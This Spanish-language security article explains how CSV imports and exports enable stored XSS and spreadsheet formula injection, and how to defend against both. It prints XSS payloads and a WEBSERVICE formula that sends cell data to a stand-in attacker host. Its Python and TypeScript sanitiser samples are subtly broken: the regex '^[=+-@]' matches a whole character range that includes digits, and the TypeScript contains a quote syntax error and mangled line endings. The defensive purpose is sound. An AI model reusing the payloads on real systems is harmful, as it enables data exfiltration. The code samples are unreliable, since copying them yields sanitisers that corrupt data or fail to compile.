Los CSV parecen seguros: cadenas simples, comas, nada de scripts. Pero esa misma sencillez relaja la atención. En realidad, los CSV son un transporte conveniente para contenido malicioso que «explota» en el lado del consumidor: en su interfaz web, al abrir el archivo en Excel/Google Sheets o al convertirlo posteriormente a HTML. En este artículo analizamos cómo surgen XSS e inyecciones de fórmulas a partir de CSV, por qué esto es peligroso en productos reales y cómo cerrar el problema en la importación y exportación sin romper la experiencia de usuario.
Por qué el CSV «común» no es tan común
CSV es solo un formato de texto para tablas, formalizado por la recomendación RFC 4180: comas separan campos, comillas escapan contenido y saltos de línea separan registros. El problema es que CSV no es un destino final. Casi siempre alguien lo importa o lo abre en programas que pueden hacer más que mostrar texto.
- Aplicaciones web leen CSV y guardan campos en la base de datos. Si esos campos se muestran luego en HTML sin un escape seguro, se produce la clásica XSS persistente. Para quienes buscan una guía sistemática sobre prevención de XSS, es útil la guía de prevención de XSS de OWASP.
- Editores de hojas de cálculo (Excel, LibreOffice, Google Sheets) al abrir un CSV pueden interpretar los datos como fórmulas. Esto es la llamada «inyección de CSV/fórmulas»: si introduzco en el CSV una cadena que empieza por
=,+,-o@, el editor intentará evaluar la expresión. Véase la página de OWASP: CSV Injection.
Como resultado, un mismo campo «Nombre del cliente» puede convertirse en un fragmento de script HTML en su interfaz o en una fórmula que contacte con un servidor del atacante para «recoger» datos. Esto último suele hacerse mediante funciones como WEBSERVICE y otras funciones web de Excel listadas aquí.
Dos líneas principales de ataque
1) XSS persistente vía importación de CSV en una aplicación web
Escenario habitual: tiene importación de clientes/productos/tickets desde CSV. Procesa el archivo con una librería, mapea columnas a campos y escribe en la base de datos. Luego la ficha del cliente se muestra en el panel de administración, y si ahí se inserta directamente la cadena del CSV, cualquier HTML o JavaScript cobra vida.
name,email,notes "Ivan Petrov","ivan@example.com","<img src=x onerror=alert('XSS')>"
Si el campo notes luego se renderiza como HTML sin escapar las entidades, eso dispara XSS de inmediato. Hay muchas variantes: desde robo de sesión hasta la modificación de datos sensibles en el panel administrativo.
2) Inyección de fórmulas (Formula/CSV Injection) al abrir un CSV
Aquí el CSV en sí está «limpio», pero el editor de hojas interpreta una fórmula y la ejecuta. El ejemplo clásico es la petición a una URL externa para exfiltrar datos de celdas adyacentes, concatenar cadenas, etc.
name,account,comment "Alice","A-001","=WEBSERVICE(""https://attacker.example/collect?note="" & ENCODEURL(A1))"
Al abrir ese CSV, Excel en Windows intentará calcular la fórmula (véase la documentación de la función WEBSERVICE). Aunque las políticas de seguridad impidan llamadas de red o pidan confirmación, el mero hecho de que los datos se interpreten como fórmula ya es un riesgo. Un resumen de manifestaciones típicas está en OWASP.
Reproducción: cómo comprobarlo en su entorno (de forma segura)
Para saber si su importación/exportación es vulnerable no hacen falta entornos complejos. Bastan un par de archivos y un entorno de pruebas local.
Comprobación de importación (XSS)
- Prepare un CSV con HTML en un campo de texto cualquiera:
title,description "Prueba","<svg onload=alert(document.domain)>" - Importe el archivo en el entorno de pruebas.
- Abra la página donde se muestra el campo
description. Si aparece un alert, falta escape seguro al mostrar el contenido.
Comprobación de exportación (inyección de fórmulas)
- Genere un registro en el sistema cuyo campo empiece por
=,+,-o@, por ejemplo:=HYPERLINK("https://example.com","hi") - Exporte a CSV y abra el archivo en Excel/LibreOffice/Sheets (en una máquina/VM separada).
- Si la celda se interpreta como fórmula, el exportador no es seguro. El comportamiento varía entre editores, pero el principio general está descrito por OWASP.
Por qué las comillas y un «CSV válido» no bastan
Muchos confían en una exportación «correcta» (comillas, escape, RFC 4180) — y eso es importante, pero no impide la interpretación como fórmula. Una fórmula sigue siendo una fórmula aunque esté correctamente entrecomillada. RFC 4180 solo define el formato y el MIME text/csv; no dice nada sobre la ejecución de fórmulas al abrir el archivo en un editor. Véase el texto del RFC 4180.
Estrategias de protección: importación
Con la importación todo es relativamente directo: aceptamos texto no fiable y luego lo mostramos en HTML. Por tanto hay que validar el esquema de datos y escapar el contenido al mostrarlo.
Política de entrada
- Esquemas y tipos explícitos: para cada columna defina el tipo (cadena/número/fecha) y restricciones de longitud/conjunto de caracteres.
- Filtre caracteres de control: prohíba caracteres de control innecesarios, bytes nulos y separadores invisibles.
- Normalice saltos y codificación: convierta todo a UTF-8, CRLF → LF, etc. (detalles del formato en RFC 4180).
Salida segura (obligatorio)
Dondequiera que muestre texto de usuarios (páginas, correos, PDF) — escape el contenido según el contexto. Para HTML eso implica convertir caracteres especiales en entidades; para atributos hay que ser aún más cauteloso. Guía práctica: la guía de prevención de XSS de OWASP.
Ejemplo: neutralización mínima durante la importación
A veces el negocio exige «no romper datos», pero almacenarlos de forma segura y mostrarlos sin riesgos. Neutralizar fórmulas al guardar puede hacerse así: si la cadena empieza por un prefijo peligroso, anteponga un apóstrofo. Los editores de hojas mostrarán texto en lugar de fórmula.
# Ejemplo en Python
import re
DANGEROUS_PREFIX = re.compile(r'^[=+-@]')
def neutralize_cell(value: str) -> str:
if value is None:
return value
s = str(value)
return "'" + s if DANGEROUS_PREFIX.match(s) else s
Importante: esto no sustituye al escape seguro al mostrar. Es una protección contra «sorpresas» en exportaciones posteriores o al abrir en Excel.
Estrategias de protección: exportación
La exportación es la principal fuente de inyecciones de fórmulas. Aquí la tarea es evitar que el consumidor del archivo interprete mal los datos.
Reglas básicas para exportar CSV
- Neutralice fórmulas: si un campo comienza con
=,+,-o@, añada un apóstrofo inicial'o un espacio/tabla. El apóstrofo suele ser la mejor opción, porque marca claramente «texto, no fórmula» (el comportamiento en Excel está documentado en la ayuda de Microsoft sobre visualización de números como texto; vea las secciones sobre el apóstrofo en artículos sobre formato de números como texto). - Codifique el CSV correctamente: duplique comillas dentro del campo, encierre en comillas campos con comas o saltos. MIME
text/csv, ver RFC 4180. - Ofrezca como adjunto: añada el encabezado
Content-Disposition: attachmentpara que el navegador no intente renderizar el CSV como una página HTML. - Considere exportar a XLSX: las librerías permiten fijar el tipo de celda como «texto», evitando la interpretación de fórmulas. Esto facilita la vida a usuarios de Excel.
Ejemplo en Node.js/TypeScript
// Neutralizamos fórmulas antes de serializar a CSV
const DANGEROUS = /^[=+-@]/;
function safeCell(v: unknown): string {
if (v === null || v === undefined) return '';
const s = String(v);
return DANGEROUS.test(s) ? (''' + s) : s;
}
// Ejemplo de serialización de un array de objetos
function toCsv(rows: Array<unknown>): string {
if (!rows.length) return '';
const headers = Object.keys(rows[0] as Record);
const escape = (x: string) => '"' + x.replace(/"/g, '""') + '"';
const body = rows.map(r =>
headers.map(h => escape(safeCell((r as any)[h]))).join(',')
).join('r
');
return headers.join(',') + 'r
' + body + 'r
';
}
Sobre procesos: dónde detectar y cómo no dejar pasar
- Contrato a nivel de dominio: acuerde con los responsables de producto que «un valor que comienza con
= + - @» se considera potencialmente peligroso y debe neutralizarse al exportar. - Pruebas unitarias: añada tests que verifiquen que la exportación transforma
=1+1en'=1+1. - Escaneos regulares: al importar, registre las detecciones de «prefijo peligroso» para entender la magnitud del problema en los datos.
- Documentación para usuarios: explique por qué números que empiezan por «+» en las exportaciones aparecen como
'+7…. No es un bug, es protección.
Preguntas frecuentes
«Nuestros usuarios realmente introducen cadenas con “+”. ¿Les vamos a romper los datos?»
No: no cambia el valor real, solo indica al editor que es texto y no una fórmula. Excel tradicionalmente interpreta el apóstrofo como «mostrar tal cual» (consulte la ayuda oficial de Excel sobre formato de texto; también son útiles las referencias a funciones web de Excel: referencia y la página de la función WEBSERVICE).
«¿Y si simplemente citamos los campos según RFC 4180?»
Es necesario, pero insuficiente. Las comillas no impiden que Excel evalúe una fórmula al abrir el archivo. Véase OWASP: CSV Injection.
«No usamos Excel, solo Google Sheets»
Los editores en navegador también interpretan fórmulas. Los detalles varían según funciones y políticas de seguridad, pero el riesgo general persiste (véase el resumen de OWASP y la clasificación de la vulnerabilidad en MITRE CWE-1236).
Chuleta (resumen)
- Importa CSV → valida contra un esquema, limpia caracteres de control y siempre escapa la salida según el contexto HTML ( OWASP Cheat Sheet).
- Exporta CSV → neutraliza celdas que comienzan por
= + - @añadiendo un apóstrofo; escapa correctamente el CSV; ofrécelo como adjunto; considera XLSX con tipos de celda textuales. - Prueba: pon
<svg onload=alert(1)>en la importación y=1+1en la exportación — asegúrese de que en ninguno de los casos se «ejecute» nada. - Incorpore las reglas en el código y en los contratos de producto, no solo en una «guía para operadores».
Para profundizar
- OWASP: CSV/Formula Injection
- RFC 4180: formato CSV y MIME text/csv
- Excel: función WEBSERVICE (ejemplo de por qué las fórmulas en CSV no son «solo texto»)
- OWASP XSS Prevention Cheat Sheet y DOM-based XSS Cheat Sheet
- MITRE CWE-1236: Improper Neutralization of Formula Elements
Conclusión
CSV es un formato cómodo de intercambio, pero no una «zona segura». Si sus procesos incluyen importación/exportación de hojas, trátelos como interfaces completas de entrada/salida de datos de usuario. Neutralice fórmulas en la exportación, escape la salida en el front-end y valide en la importación — así el CSV dejará de ser una ruta silenciosa para XSS e inyecciones.